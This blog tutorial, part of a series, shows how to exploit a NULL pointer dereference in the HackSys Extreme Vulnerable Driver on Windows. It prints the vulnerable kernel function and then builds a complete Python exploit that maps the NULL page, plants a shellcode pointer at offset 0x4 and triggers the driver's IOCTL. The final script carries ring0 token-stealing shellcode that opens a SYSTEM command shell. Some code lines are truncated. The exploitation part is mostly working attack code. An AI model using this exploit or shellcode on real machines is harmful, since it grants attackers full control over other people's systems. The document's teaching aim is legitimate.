Menu

Windows Kernel Exploitation Tutorial Part 5: NULL Pointer Dereference

 January 12, 2018  rootkit Overview First of all, a happy new year.

After the exhaustive last part in this series, to start o this new year, this post will be about a lighter, more easy to understand vulnerability. A pointer dereference vulnerability exists when the value of the pointer is NULL, and is used by the application to point to a valid memory area. Immediately, the problem is clear, as if we are able to control the NULL page, write to that location, we’d get our execution. You’d be easily able to guess here that we’d be using the same technique to allocate NULL page, and place our shellcode there as we did in the last part, so this one would rely heavily on the information from that post.

Again, huge thumbs up to @hacksysteam for the driver.

Analysis Let’s look at the NullPointerDereference. le:

1 NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) { 2 ULONG UserValue = 0; 3 ULONG MagicValue = 0xBAD0B0B0; 4 NTSTATUS Status = STATUS_SUCCESS; 5 PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL; 6 7 PAGED_CODE(); 8 9 __try { 10 // Verify if the buffer resides in user mode 11 ProbeForRead(UserBuffer, 12 sizeof(NULL_POINTER_DEREFERENCE), 13 (ULONG)__alignof(NULL_POINTER_DEREFERENCE)); 14 15 // Allocate Pool chunk 16 NullPointerDereference = (PNULL_POINTER_DEREFERENCE) 17 ExAllocatePoolWithTag(NonPagedPool, 18 sizeof(NULL_POINTER_DEREFERENCE), 19 (ULONG)POOL_TAG); 20 21 if (!NullPointerDereference) { 22 // Unable to allocate Pool chunk 23 DbgPrint("[-] Unable to allocate Pool chunk\n"); 24 25 Status = STATUS_NO_MEMORY; 26 return Status; 27 } 28 else { 29 DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); 30 DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool)); 31 DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE)); 32 DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference); 33 } 34 35 // Get the value from user mode 36 UserValue = *(PULONG)UserBuffer; 37 38 DbgPrint("[+] UserValue: 0x%p\n", UserValue); 39 DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference); 40 41 // Validate the magic value 42 if (UserValue == MagicValue) { 43 NullPointerDereference->Value = UserValue; 44 NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback; 45 46 DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Val 47 DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference-> 48 } 49 else { 50 DbgPrint("[+] Freeing NullPointerDereference Object\n"); 51 DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); 52 DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference); 53 54 // Free the allocated Pool chunk 55 ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG); 56 57 // Set to NULL to avoid 58 NullPointerDereference = NULL; 59 } 60 61 #ifdef SECURE 62 // Secure Note: This is secure because the developer is checking if 63 // 'NullPointerDereference' is not NULL before calling the callback function 64 if (NullPointerDereference) { 65 NullPointerDereference->Callback(); 66 } 67 #else 68 DbgPrint("[+] Triggering Null Pointer Dereference\n"); 69 70 // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability 71 // because the developer is not validating if 'NullPointerDereference' is NULL 72 // before calling the callback function 73 NullPointerDereference->Callback(); 74 #endif

The code clearly states that a magic value (0xBAD0B0B0) is being compared to the user value, and if they are not same, then the NullPointerDereference is being set to NULL. We can see that in the secure version, there’s a check to see if the NullPointerDereference is set to NULL or not.

A short analysis in IDA shows the same non-paged pool with tag ‘Hack‘, our magic value, and an interesting oset of 0x4, which is where we’d be writing the pointer to our shellcode.

Also, we get an IOCTL of 0x22202b for this.

Exploitation Let’s start with our skeleton script:

1 import ctypes, sys, struct 2 from ctypes import * 3 from subprocess import * 4 5 def main(): 6 kernel32 = windll.kernel32 7 psapi = windll.Psapi 8 ntdll = windll.ntdll 9 hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, 10 11 if not hevDevice or hevDevice == -1: 12 print "*** Couldn't get Device Driver handle" 13 sys.exit(-1) 14 15 buf = "\xb0\xb0\xd0\xba" 16 bufLength = len(buf) 17 18 kernel32.DeviceIoControl(hevDevice, 0x22202b, buf, bufLength, None, 0, byref(c_ulong()), 19 20 if __name__ == "__main__": 21 main()

Our magic value doesn’t trigger any exception, as expected. Now let’s try giving something apart from our magic value.

An exception is raised this time. Fortunately, our machine continues to work ne without any crashes, so that just saves some time. Thanks to that Try/Except block in the code.

Now, I’d just borrow the code to allocate NULL page from our previous post, and why we are able to do it is also explained there. The subtle change here would be the oset of 0x4 from the start of the NULL page.

1 import ctypes, sys, struct 2 from ctypes import * 3 from subprocess import * 4 5 def main(): 6 kernel32 = windll.kernel32 7 psapi = windll.Psapi 8 ntdll = windll.ntdll 9 hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, 10 11 if not hevDevice or hevDevice == -1: 12 print "*** Couldn't get Device Driver handle" 13 sys.exit(-1) 14 15 shellcode = id("\x90" * 4) + 20 16 17 null_status = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(c_void_p(0x1)), 0, byref(c_ 18 if null_status != 0x0: 19 print "\t[+] Failed to allocate NULL page..." 20 sys.exit(-1) 21 else: 22 print "\t[+] NULL Page Allocated" 23 24 if not kernel32.WriteProcessMemory(0xFFFFFFFF, 0x4, shellcode, 0x40, byref(c_ulong())): 25 print "\t[+] Failed to write at 0x4 location" 26 sys.exit(-1) 27 28 buf = '\x37\x13\xd3\xba' 29 bufLength = len(buf) 30 31 kernel32.DeviceIoControl(hevDevice, 0x22202b, buf, bufLength, None, 0, byref(c_ulong()), 32 33 if __name__ == "__main__": 34 main()

Perfect, our shellcode’s pointer is written to the 0x4 location, and shellcode perfectly resides in that location.

Now, we can borrow the nal shellcode from previous post, x the recovery in the end of the shellcode, and just see what happens. Final exploit should look like:

1 import ctypes, sys, struct 2 from ctypes import * 3 from subprocess import * 4 5 def main(): 6 kernel32 = windll.kernel32 7 psapi = windll.Psapi 8 ntdll = windll.ntdll 9 hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, 10 11 if not hevDevice or hevDevice == -1: 12 print "*** Couldn't get Device Driver handle" 13 sys.exit(-1) 14 15 #Defining the ring0 shellcode and loading it in VirtualAlloc. 16 shellcode = bytearray( 17 "\x90\x90\x90\x90" # NOP Sled 18 "\x60" # pushad 19 "\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET] 20 "\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET] 21 "\x89\xC1" # mov ecx, eax (Current _EPROCESS structure) 22 "\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET] 23 "\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID) 24 "\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] 25 "\x2D\xB8\x00\x00\x00" # sub eax, FLINK_OFFSET 26 "\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx 27 "\x75\xED" # jnz 28 "\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET] 29 "\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx 30 "\x61" # popad 31 "\xC3" # ret 32 ) 33 34 ptr = kernel32.VirtualAlloc(c_int(0), c_int(len(shellcode)), c_int(0x3000),c_int(0x40)) 35 buff = (c_char * len(shellcode)).from_buffer(shellcode) 36 kernel32.RtlMoveMemory(c_int(ptr), buff, c_int(len(shellcode))) 37 38 print "[+] Pointer for ring0 shellcode: {0}".format(hex(ptr)) 39 40 #Allocating the NULL page, Virtual Address Space: 0x0000 - 0x1000. 41 #The base address is given as 0x1, which will be rounded down to the next host. 42 #We'd be allocating the memory of Size 0x100 (256). 43 44 print "\n[+] Allocating/Mapping NULL page..." 45 46 null_status = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(c_void_p(0x1)), 0, byref(c_ 47 if null_status != 0x0: 48 print "\t[+] Failed to allocate NULL page..." 49 sys.exit(-1) 50 else: 51 print "\t[+] NULL Page Allocated" 52 53 #Writing the ring0 pointer into the desired location in the mapped NULL page, so as to ca 54 55 print "\n[+] Writing ring0 pointer {0} in location 0x4...".format(hex(ptr)) 56 if not kernel32.WriteProcessMemory(0xFFFFFFFF, 0x4, byref(c_void_p(ptr)), 0x40, byref(c_u 57 print "\t[+] Failed to write at 0x4 location" 58 sys.exit(-1) 59 60 buf = '\x37\x13\xd3\xba' 61 bufLength = len(buf) 62 63 kernel32.DeviceIoControl(hevDevice, 0x22202b, buf, bufLength, None, 0, byref(c_ulong()), 64 65 print "\n[+] nt authority\system shell incoming" 66 Popen("start cmd", shell=True) 67 68 if __name__ == "__main__": 69 main() Posted in Kernel, Tutorial Tagged Exploitation, Kernel, NULL Pointer Dereference, Tutorial, Windows

 

© rootkit 2018

r0otki7 Popularity Counter: 108951 hits